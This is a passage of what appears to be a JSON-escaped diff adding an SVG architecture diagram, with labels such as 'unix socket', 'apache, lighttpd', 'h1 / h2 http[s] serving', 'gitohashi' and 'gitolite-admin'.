fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00224.9183px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.61478\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-293.15182\u0022 y\u003d\u0022-416.7309\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.61478\u0022\u003eunix socket\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003ctext x\u003d\u0022-307.6283\u0022 y\u003d\u0022-426.52966\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00224.7994px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.59993\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-307.6283\u0022 y\u003d\u0022-426.52966\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.59993\u0022\u003eeg, apache, lighttpd\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003cpath d\u003d\u0022m-333.02-408.06-8.1394-9.4624 0.0754-33.959 22.85-12.895\u0022 fill\u003d\u0022none\u0022 stroke\u003d\u0022#4d4d4d\u0022 stroke-dasharray\u003d\u00220.8404728, 0.8404728\u0022 stroke-width\u003d\u0022.84047\u0022/\u003e\n+\t\t\u003ctext x\u003d\u0022-353.00491\u0022 y\u003d\u0022-448.07117\u0022 fill\u003d\u0022#4d4d4d\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00224.9183px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.61478\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-353.00491\u0022 y\u003d\u0022-448.07117\u0022\u003edirect\u003c/tspan\u003e\u003ctspan x\u003d\u0022-353.00491\u0022 y\u003d\u0022-441.92334\u0022\u003eh1 / h2\u003c/tspan\u003e\u003ctspan x\u003d\u0022-353.00491\u0022 y\u003d\u0022-435.77551\u0022\u003ehttp[s]\u003c/tspan\u003e\u003ctspan x\u003d\u0022-353.00491\u0022 y\u003d\u0022-429.62766\u0022\u003eserving\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003cg transform\u003d\u0022matrix(2.167 0 0 2.167 -428.18 -767.27)\u0022 stroke\u003d\u0022#000\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(.50721 0 0 .50721 25.042 69.595)\u0022 d\u003d\u0022m51.659 134.03c-2.0851-0.12503-3.8134 1.7965-4.5661 3.9988-1.5249 1.1166-4.2394-0.53702-5.789 1.0267-2.0771 2.076-0.37705 6.0117 2.7601 4.8135-0.47278 1.5099-0.75873 4.5771 1.522 5.411 2.1312 1.3398 4.9927 3.0089 7.4051 1.2303 0.68399 2.3393 3.6453 2.132 5.8297 2.0845 2.7293-0.0797 2.925-3.1718 3.7481-5.0413 2.2446 0.29343 5.4772 1.759 7.3986-0.52837 2.0288-1.933 1.2298-5.1169-1.3224-6.0736 0.52211-1.5598 3.1656-3.1727 2.0583-5.5736-0.53035-2.6615-4.5547-2.3289-6.5126-1.6479-1.7563 0.39989-4.1576-2.7705-6.6758-2.069-2.0834 0.0156-3.7796 3.3888-5.856 2.3689z\u0022 filter\u003d\u0022url(#o)\u0022 stroke-width\u003d\u0022.26458px\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m51.114 137.16c-1.0576-0.0634-1.9342 0.91121-2.316 2.0282-0.77345 0.56634-2.1503-0.27238-2.9362 0.52075-1.0535 1.053-0.19124 3.0492 1.4 2.4414-0.2398 0.76584-0.38483 2.3216 0.77195 2.7445 1.081 0.67957 2.5323 1.5261 3.756 0.62404 0.34693 1.1865 1.8489 1.0814 2.9569 1.0573 1.3843-0.0404 1.4836-1.6088 1.9011-2.557 1.1385 0.14883 2.7781 0.89221 3.7526-0.26799 1.029-0.98042 0.62376-2.5953-0.67075-3.0806 0.26481-0.79115 1.6056-1.6092 1.044-2.827-0.269-1.3499-2.3102-1.1812-3.3033-0.83582-0.89082 0.20282-2.1088-1.4052-3.386-1.0494-1.0567 8e-3 -1.917 1.7188-2.9702 1.2015z\u0022 fill\u003d\u0022#fff\u0022 stroke-width\u003d\u0022.1342px\u0022/\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cpath d\u003d\u0022m-328.28-464.88c0.21885 1.3859 0.0881 4.0182 2.0096 3.973 2.649-0.85763 1.5491 2.2539 2.2606 3.7051 0.51529 1.7116 2.2933 2.58 3.8561 3.1856 1.4458-0.32128 2.9297-0.43055 4.3606-0.90077 0.57279-0.51512 1.3127-2.3266 1.448-0.44476-0.13232 1.8866 1.3782 3.5572 3.2402 3.6959 1.9637 0.0773 4.0203-1.1483 4.404-3.1757 0.3804-2.3441 2.8605-1.9735 4.5973-1.7593 2.506 0.44885 4.4817-1.4985 4.1063-3.6858-0.31599-0.60155-0.94045-1.4999-0.53175-1.9244 0.61675 0.22405 0.68359 0.28517 1.5065 1.1683 1.2771 1.4096 0.76661 3.4212-0.71242 4.48-1.8363 1.8671-4.6609 1.271-6.9506 0.85049-1.4439 0.0129-1.7754 2.813-2.933 3.9902-1.3944 1.246-3.5069 1.2349-5.2574 0.99344-2.6507-1.0194-1.8446-1.6178-2.2955-2.5216-1.2206 1.3905-2.8625 1.4182-4.5053 0.86446-2.1696-0.49547-4.2633-1.6908-5.2034-3.7574-1.0688-1.2054 0.79099-4.1726-1.6225-3.5388-1.7044-0.0987-2.8828-1.4651-2.9423-2.9971-0.0315-0.8072 0.35531-1.4056 0.81488-1.8559l0.36273-0.25643z\u0022 fill\u003d\u0022#afdde9\u0022/\u003e\n+\t\t\u003cg fill\u003d\u0022none\u0022 stroke\u003d\u0022#59f\u0022 stroke-width\u003d\u0022.52878\u0022\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-298.8-462.58c-2.4302-0.8665-4.8287 0.31854-5.2088 2.2516-0.57283 3.8423 2.7931 3.6218 3.8384 3.7462 2.1306-0.1516 1.8998-3.1403-0.0129-3.5147-0.65814-0.0987-1.8193 0.40383-1.368 1.2087\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-315.45-469.86c-3.1873 1.5095-1.9104 6.7142 1.739 7.5747 2.9098 0.67189 5.0896-0.90373 5.4125-3.91-0.13262-5.8058-9.3627-2.4435-4.4215 1.1614 1.7998 0.91066 2.4473-2.2511 0.31213-1.9925\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-316.27-452.11c2.1731-1.1625 2.913-4.9719 0.0703-6.7678-1.7938-1.1867-6.5017-0.77123-6.5761 2.0293 0.11092 2.6987 3.4484 3.2934 4.6464 1.8583 1.5111-1.9464-1.2-3.6675-1.7665-1.3124\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-305.46-455.25c0.26806-1.2997-0.44592-2.7123-2.47-2.9702-1.4136-3e-3 -2.414 0.91379-2.5274 2.0134-0.14854 1.4416 0.89348 2.2783 0.89348 2.2783\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-322.17-465.63c-0.33796 1.158-0.40682 2.8279 1.0784 4.2209\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-325.57-459.33c1.7927-0.95713 1.5671-3.5348 0.23964-4.0478-2.8353-0.88644-3.3373 2.2776-1.2884 2.3728 0.28426-0.0309 0.53218-0.29526 0.48226-0.59156\u0022/\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cg transform\u003d\u0022matrix(3.0565 0 0 3.0565 -412.66 -868.25)\u0022\u003e\n+\t\t\t\u003cg transform\u003d\u0022matrix(1.92 .75887 -.75887 1.92 -234.69 -887.49)\u0022\u003e\n+\t\t\t\t\u003cg transform\u003d\u0022rotate(-9.1961 290.54 412.25)\u0022 fill\u003d\u0022#4d4d4d\u0022\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m289.61 412.6 4.1903-1.44 0.0209-6e-3s0.0126-7.8e-4 0.0183 8.6e-4c0.0223 9e-3 0.0185 0.0208 0.0182 0.0272-4e-3 0.0181-0.0143 0.0217-0.0143 0.0217l-4.1687 1.5912-0.0146-0.072-0.0143-0.0432z\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m289.62 412.6c-0.0524 0.0226-0.0861 0.0899-0.0627 0.14373 0.0307 0.0469 0.0788 0.0614 0.1254 0.0511-2e-3 -0.0566-0.0136-0.0949-0.0353-0.15225-5e-3 -0.01-0.0239-0.0342-0.0295-0.0436z\u0022/\u003e\n+\t\t\t\t\u003c/g\u003e\n+\t\t\t\t\u003cellipse cx\u003d\u0022289.7\u0022 cy\u003d\u0022412.83\u0022 rx\u003d\u0022.063066\u0022 ry\u003d\u0022.059428\u0022 fill\u003d\u0022url(#a)\u0022/\u003e\n+\t\t\t\u003c/g\u003e\n+\t\t\t\u003cpath d\u003d\u0022m8.1442 124.92 0.076005-0.0585 0.070158-0.0351 9.1206-1.0524 0.04677 0.0117-8.9861 1.1634-0.040926-0.0468-0.099391-0.0468-0.093545 0.0117z\u0022 fill\u003d\u0022url(#b)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m8.2377 125.23 0.14616-0.0643 0.046772-0.0468 9.0387-1.2628-0.03508 0.0351-9.0095 1.3447-0.12278 0.0117z\u0022 fill\u003d\u0022#42484c\u0022 fill-opacity\u003d\u0022.72157\u0022/\u003e\n+\t\t\t\u003ctext transform\u003d\u0022rotate(-7.0969)\u0022 x\u003d\u0022-6.6295662\u0022 y\u003d\u0022125.1535\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u0022.13449px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.016811\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-6.6295662\u0022 y\u003d\u0022125.1535\u0022 stroke-width\u003d\u0022.016811\u0022\u003egitohashi\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003ctext transform\u003d\u0022rotate(-7.0969)\u0022 x\u003d\u0022-6.6333256\u0022 y\u003d\u0022125.14806\u0022 fill\u003d\u0022#999999\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u0022.13449px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.016811\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-6.6333256\u0022 y\u003d\u0022125.14806\u0022 fill\u003d\u0022#999999\u0022 stroke-width\u003d\u0022.016811\u0022\u003egitohashi\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cg transform\u003d\u0022matrix(3.0363 -.35085 .35085 3.0363 -454.75 -860.97)\u0022\u003e\n+\t\t\t\u003cg transform\u003d\u0022matrix(1.92 .75887 -.75887 1.92 -234.69 -887.49)\u0022\u003e\n+\t\t\t\t\u003cg transform\u003d\u0022rotate(-9.1961 290.54 412.25)\u0022 fill\u003d\u0022#4d4d4d\u0022\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m289.61 412.6 4.1903-1.44 0.0209-6e-3s0.0126-7.8e-4 0.0183 8.6e-4c0.0223 9e-3 0.0185 0.0208 0.0182 0.0272-4e-3 0.0181-0.0143 0.0217-0.0143 0.0217l-4.1687 1.5912-0.0146-0.072-0.0143-0.0432z\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m289.62 412.6c-0.0524 0.0226-0.0861 0.0899-0.0627 0.14373 0.0307 0.0469 0.0788 0.0614 0.1254 0.0511-2e-3 -0.0566-0.0136-0.0949-0.0353-0.15225-5e-3 -0.01-0.0239-0.0342-0.0295-0.0436z\u0022/\u003e\n+\t\t\t\t\u003c/g\u003e\n+\t\t\t\t\u003cellipse cx\u003d\u0022289.7\u0022 cy\u003d\u0022412.83\u0022 rx\u003d\u0022.063066\u0022 ry\u003d\u0022.059428\u0022 fill\u003d\u0022url(#a)\u0022/\u003e\n+\t\t\t\u003c/g\u003e\n+\t\t\t\u003cpath d\u003d\u0022m8.1442 124.92 0.076005-0.0585 0.070158-0.0351 9.1206-1.0524 0.04677 0.0117-8.9861 1.1634-0.040926-0.0468-0.099391-0.0468-0.093545 0.0117z\u0022 fill\u003d\u0022url(#b)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m8.2377 125.23 0.14616-0.0643 0.046772-0.0468 9.0387-1.2628-0.03508 0.0351-9.0095 1.3447-0.12278 0.0117z\u0022 fill\u003d\u0022#42484c\u0022 fill-opacity\u003d\u0022.72157\u0022/\u003e\n+\t\t\t\u003ctext transform\u003d\u0022rotate(-7.0969)\u0022 x\u003d\u0022-6.6295662\u0022 y\u003d\u0022125.1535\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u0022.13449px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.016811\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-6.6295662\u0022 y\u003d\u0022125.1535\u0022 stroke-width\u003d\u0022.016811\u0022\u003egitohashi\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003ctext transform\u003d\u0022rotate(-7.0969)\u0022 x\u003d\u0022-6.6333256\u0022 y\u003d\u0022125.14806\u0022 fill\u003d\u0022#999999\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u0022.13449px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.016811\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-6.6333256\u0022 y\u003d\u0022125.14806\u0022 fill\u003d\u0022#999999\u0022 stroke-width\u003d\u0022.016811\u0022\u003egitohashi\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cpath d\u003d\u0022m-303.14-470.24c-1.8914 0.74338-1.9653 3.3298-0.70596 3.993 2.7138 1.2084 3.5783-1.8764 1.5541-2.2079-0.28579-3e-3 -0.56274 0.23169-0.54742 0.53183\u0022 fill\u003d\u0022none\u0022 stroke\u003d\u0022#59f\u0022 stroke-width\u003d\u0022.52878\u0022/\u003e\n+\t\t\u003cpath d\u003d\u0022m-329.28-464.17c-0.62153 1.9496 0.76114 4.4849 2.9484 4.4524 1.7546-0.47679 1.1411 1.598 1.074 2.5974 0.84581 3.0288 4.2497 4.5217 6.8578 5.0452 1.3867 0.13879 2.8644-0.46532 3.6478-1.6405 0.56635-0.10086-0.62766 1.8865 0.47985 2.1469 1.2104 1.1289 3.273 1.1991 5.4246 0.58059 1.7865-1.3485 2.4523-2.2829 2.8048-4.3242 0.86154-1.2381 2.4222 0.0957 3.6056-0.15437 2.0935 0.4536 4.5914-0.33616 5.6579-2.2744 0.22189-0.50217 0.63827-2.8246 0.70887-1.1277 0.0214 2.4603-2.278 4.7132-4.7667 4.4776-1.4311-0.0404-2.7916-0.53538-4.1902-0.78351-1.2277 0.42178-0.99072 2.0771-1.463 3.0806-0.39316 1.0215-1.1102 2.0672-2.2872 2.2212-1.3929 0.23384-2.7424 0.1941-4.1387 0.11336-1.2712-0.19501-2.6358-1.0169-3.2651-2.1868-1.6793 1.1312-3.9312 0.74219-5.6634-0.0537-1.6649-0.80545-3.3658-1.5887-4.2173-3.5438-0.42116-1.1738 0.68596-2.5199-0.0437-3.5689-1.1543 0.0639-2.5297-0.0214-3.1877-1.2067-0.72793-1.0221-0.69637-2.405-0.10459-3.4802l0.0632-0.18401 0.0547-0.18645z\u0022 fill\u003d\u0022#006680\u0022 fill-opacity\u003d\u0022.67769\u0022/\u003e\n+\t\t\u003crect x\u003d\u0022-299.8\u0022 y\u003d\u0022-335.5\u0022 width\u003d\u002213.333\u0022 height\u003d\u002213.197\u0022 fill\u003d\u0022#806600\u0022/\u003e\n+\t\t\u003cpath d\u003d\u0022m-293.24-360.41-3.3887-3.3055\u0022 fill\u003d\u0022none\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221.0301\u0022/\u003e\n+\t\t\u003cg\u003e\n+\t\t\t\u003ctext x\u003d\u0022-292.74414\u0022 y\u003d\u0022-329.46896\u0022 fill\u003d\u0022#ffff00\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00222.8991px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.36239\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-292.74414\u0022 y\u003d\u0022-329.46896\u0022\u003egitolite-\u003c/tspan\u003e\u003ctspan x\u003d\u0022-292.74414\u0022 y\u003d\u0022-325.84503\u0022\u003eadmin\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-300.26-463.17c0.74056-0.65132 1.4937-1.2884 2.2264-1.9486 0.40163-0.73508 0.8519-1.4506 1.223-2.1979 0.0984-0.29832 0.0244-1.0452 0.26592-1.0661 0.25095 0.44634 0.52155 0.99477 0.26501 1.4995-0.27143 0.64115-0.4458 1.3185-0.71998 1.9588-0.57891 0.68485-1.1699 1.3596-1.7382 2.0534-0.52619 0.0214-1.0098-0.22587-1.5223-0.29892z\u0022 fill\u003d\u0022#5297a9\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-301.16-463.17 0.92926-0.75053 1.2152-0.82205 0.78629-0.64331 0.71481-1.1437 0.25033-1.1794-0.0358-1.1437-0.4289-1.2509-0.10733-0.0716 0.7148 0.46463 0.35741 0.64334 0.14311 0.64331-0.17881 1.0722-0.53613 1.0722-0.75052 1.2509-1.2152 1.0365-1.0007 0.82203z\u0022 fill\u003d\u0022#afdde9\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-319.42-475.86 0.82201 0.75053 0.0358 0.32167 0.0716 0.92925-0.28579 0.64331 0.82206 0.1431 1.3581 0.0716 1.3582 1.0007 0.67905 1.2152 1.3939-1.1079-4.0744-2.2159-0.7863-0.82203-0.67907-0.71481z\u0022/\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cpath d\u003d\u0022m-325.69-469.4 0.29067 0.6002 1.4532-0.51174-0.29068-0.6255z\u0022 fill\u003d\u0022#d4aa00\u0022/\u003e\n+\t\t\u003cpath d\u003d\u0022m-307.67-476 0.29069 0.60022 1.4531-0.51176-0.29069-0.6255z\u0022 fill\u003d\u0022#d4aa00\u0022/\u003e\n+\t\t\u003cpath d\u003d\u0022m-323.23-475.19 0.45081-0.53273 0.36883-0.12313 0.12285 0.12313 0.32791-0.20479 0.0412 0.12284 0.49179-0.0396 0.2048 0.24574-0.45081 0.53278-0.40983 0.61476h-0.16383l-0.12284-0.12313 0.0412-0.32781-0.24604 0.4917-0.24575-0.0819 0.20478-0.4506-0.287 0.32781-0.16384-0.12284 0.0819-0.32781z\u0022 fill\u003d\u0022#333\u0022/\u003e\n+\t\t\u003cpath d\u003d\u0022m-321.16-475.06 3.2348 0.35382 0.0504 0.17698-3.6139-0.35383-0.0759-0.12629 0.0244-0.15161 0.20204-0.27814 0.48018-0.15161 0.20204 0.15161-0.0504 0.20204-0.22741 0.10114-0.10115-0.10114-0.17698 0.0504z\u0022 fill\u003d\u0022#fc0\u0022/\u003e\n+\t\t\u003cpath d\u003d\u0022m-289.96-458.59 0.77521 0.41465 2.1453 0.19837 1.5864-1.0275 0.84731 0.19836-0.34251-0.63096-0.23444-1.2078-0.99153-0.36054-1.2619 0.45068-1.1898 0.2705-0.86531 0.39659-0.39662 0.84731z\u0022 fill\u003d\u0022#ffd42a\u0022/\u003e\n+\t\t\u003cpath d\u003d\u0022m-291.98-459.51c-0.10819 0.21028-0.2164 0.42064-0.32448 0.63096 0.0275 0.20356-0.0306 0.43692 0.052 0.62166 0.17177 0.22741 0.21702 0.49287 0.3887 0.72038 0.0575 0.0761 0.38016 0.15221 0.43758 0.22832l1.1049-0.0562c0.15038-0.15619 0.30047-0.31248 0.4507-0.46873 0.0274-0.17636-3e-5 -0.36824 0.0966-0.52621 0.15405-0.32937 0.3081-0.65872 0.46217-0.98809-0.28608-0.0733-0.57844-0.12802-0.8605-0.21365-0.24269-0.12471-0.49859-0.22924-0.73238-0.3681-0.184-0.1727-0.36825-0.34524-0.55238-0.51787-0.17422 0.31256-0.34854 0.62531-0.52282 0.93778z\u0022 fill\u003d\u0022#fff6ec\u0022/\u003e\n+\t\t\u003cpath d\u003d\u0022m-292.24-459.08-1.1367-0.45472-1.2883-0.64414-1.7809-1.6293-0.87148-0.64414-0.0379 0.53046 2.2734 2.1977 2.9177 1.6293-0.18951-0.56836z\u0022 fill\u003d\u0022#fff6d5\u0022/\u003e\n+\t\t\u003cpath d\u003d\u0022m-288.81-457.31 2.4755 1.0413 0.55012 1.395-0.0591 0.58939-0.0981 0.25553 0.0184 0.19654 0.0786 0.0394 0.15711-0.17696 0.0786-0.53047 0.2161 0.5894-0.059 0.47154 0.15711 0.25552 0.0591-0.76622-0.2161-0.60907 0.29465 0.64835 0.0591 0.56978 0.0184 0.21609 0.15711-0.11768-0.11796-0.78586-0.29465-0.68767 0.33399 0.72693 0.19653 0.70732 0.15711 0.0184-0.23565-0.90372-0.33399-0.5305 0.41256 0.51084 0.19654 0.45188 0.15711-0.0394-0.35365-0.668-0.17696-0.60905-0.49119-0.3733-0.66798-1.4539-2.0433-0.72693z\u0022 fill\u003d\u0022#fea\u0022/\u003e\n+\t\t\u003cpath d\u003d\u0022m-297.33-462.39-0.24238-0.39141-0.80146-0.3355-0.37278 0.13045-0.13046 0.11193v0.11192l0.42872-0.16781 0.39139 0.16781-0.33549-0.11192-0.98784 0.31683 0.0372 0.13046 0.83875-0.27968 0.52188 0.14917-0.48462-0.0372-0.78281 0.27967-0.0559 0.13046 0.0559 0.0559 0.80146-0.33549 0.29831 0.0746-0.29831 0.33549-0.57778 0.18645-0.0746 0.13045 0.0184 0.14917 0.20508 0.0184 0.98785-0.46597 0.54052 0.11192z\u0022 fill\u003d\u0022#fea\u0022/\u003e\n+\t\t\u003cg fill\u003d\u0022none\u0022 stroke\u003d\u0022#bdc68a\u0022 stroke-width\u003d\u0022.14422px\u0022\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-289.92-458.97-0.81124-0.0361 0.68504 0.39659\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-291.51-459.73 0.41462 0.55886-0.77518-0.18035\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-291.47-458.61c-0.18338-0.0593-0.29709 0.0553-0.37742 0.18737-0.0534 0.11394 0.0395 0.23168 0.10733 0.31911 0.0871 0.0973 0.16323 0.21793 0.29955 0.2491 0.27142 0.0358 0.5267 0.0556 0.78164 0.0749 0.17606-0.0713 0.17026-0.34872 0.0129-0.43604-0.24727-0.17851-0.53492-0.29772-0.82196-0.39356z\u0022/\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cpath transform\u003d\u0022matrix(3.0565 0 0 3.0565 401.07 -1477)\u0022 d\u003d\u0022m-225.68 333.06 0.33073 0.14882 0.66146-0.34726 0.0496-0.13229-0.29766 0.16536-0.34726 0.23151-0.34727-0.24804z\u0022 fill\u003d\u0022#fd5\u0022 filter\u003d\u0022url(#v)\u0022/\u003e\n+\t\t\u003cg fill\u003d\u0022#d4aa00\u0022\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-285.03-460.16 0.90982 0.0244 0.27784-0.37908 0.88453 0.1263 0.4549 0.50546 0.60652 1.0867-2.2745 0.70763-2.1987-0.30321z\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-287.11-458.04 3.1843 0.88452 1.7438 0.50544 0.55601 0.55599 0.25277-0.68235-0.73289-1.5416-1.4911 0.7329-2.6788-0.90981z\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-282.61-461.68-0.1516 0.20236 2.4261 0.70762 0.0759-0.22741z\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-281.47-459.75 1.7438 0.96034 0.0759-0.15161-1.769-0.98561z\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-280.62-459.34 0.14311 0.58969 0.0534 0.16079 0.14311 0.0184-0.10733-0.53609-0.0358-0.12499z\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-281.71-461.2 0.1431 0.46462 0.2323 0.17881 0.12499 0.10733h0.0716l-0.25032-0.28579-0.17882-0.2323 0.0358-0.1431z\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-290.92-461.59 0.51808-0.18949 0.48018-0.0632 1.0109-0.83401-0.23994 1.0867 0.36642 0.34118 0.17698 0.49281-0.0244 0.18951-0.37908 0.17696-0.13908-0.0379 0.0129-0.35379-0.44225-0.94771-1.251 0.60654-0.0129-0.12629v-0.16445z\u0022/\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cpath d\u003d\u0022m-291.8-460.37c0.16904-0.37344 0.40582-0.72467 0.45873-1.1394 0.10115-0.25829 0.12012-0.74617 0.077-0.87598 0.0898 0.28334 0.12716 0.5995 0.35197 0.81601 0.19928 0.10847-0.0779 0.59934 0.22954 0.35565 0.3542-0.21334 0.72581-0.39499 1.1182-0.52646 0.1681 0.3305 0.33652 0.66102 0.50478 0.99151-0.0306 0.17667-0.15557 0.47462 0.11796 0.28395 0.28334-0.1681 0.60495-0.16658 0.92145-0.19041 0.17698-0.0752 0.58665-0.29619 0.61321-0.27632-0.43489 0.35237-0.87375 0.69995-1.3016 1.0609-0.17575 0.28182-0.43886 0.5202-0.55109 0.83478-0.0764 0.23077-0.17636 0.46569-0.12342 0.71322 0.0244 0.33285 0.0474 0.66574 0.0713 0.99859 0.2763 0.24912 0.52755 0.53207 0.82022 0.75946 0.17116 0.0773 0.34255 0.15467 0.5138 0.23231-0.16596 0.18125-0.29801 0.56485-0.53985 0.26988-0.25705-0.17055-0.51703-0.33738-0.76733-0.51805-0.15833-0.31038-0.49123-0.56363-0.51959-0.91653 1e-3 -0.30199-0.0889-0.62265 0.0626-0.90195 0.12528-0.33274 0.25064-0.66545 0.37611-0.99815-0.33212-0.0661-0.66963-0.12529-0.96883-0.29313-0.27999-0.0965-0.52915-0.25307-0.74629-0.45343-0.20081-0.15314-0.42993-0.46897-0.54021-0.084-0.1455 0.23353-0.28854 0.46866-0.43077 0.70426-0.13318-0.28701-0.051-0.58743-9e-3 -0.88352 0.0129-0.25583 0.27907-0.37379 0.42215-0.55791 0.10762-0.0905-0.11767 0.31656-0.14795 0.43189 6e-3 0.0382-0.14065 0.2106-0.0129 0.16261z\u0022 fill\u003d\u0022#fc0\u0022/\u003e\n+\t\t\u003cg\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-289.62-459.41-0.11365 0.37911-0.16413 0.23994 0.10115 0.2653-0.0884 0.16413-0.0379 0.29069-0.0884 0.17696-0.36644 0.39171-0.90036 0.18523 0.95092-0.0593 0.45491-0.46753 0.0632-0.46755 0.44225-1.0614z\u0022 fill\u003d\u0022#c5b35c\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-288.01-460.64c-0.28977 0.17086-0.69534 0.18187-0.88048 0.49999-0.10847 0.32079-0.19958 0.65202-0.39835 0.93163-0.23352 0.49617-0.30737 1.0607-0.27325 1.6038 0.0545 0.31525 0.16902 0.64425 0.49821 0.75086 0.28213 0.1733 0.54859 0.38369 0.74203 0.65545 0.0306 0.42626 0.50471-0.1834 0.13291-0.26287-0.23719-0.0379-0.46004-0.16627-0.58023-0.37751-0.27294-0.21792-0.55729-0.47342-0.55284-0.85381-0.10545-0.56365-0.0932-1.1864 0.23994-1.677 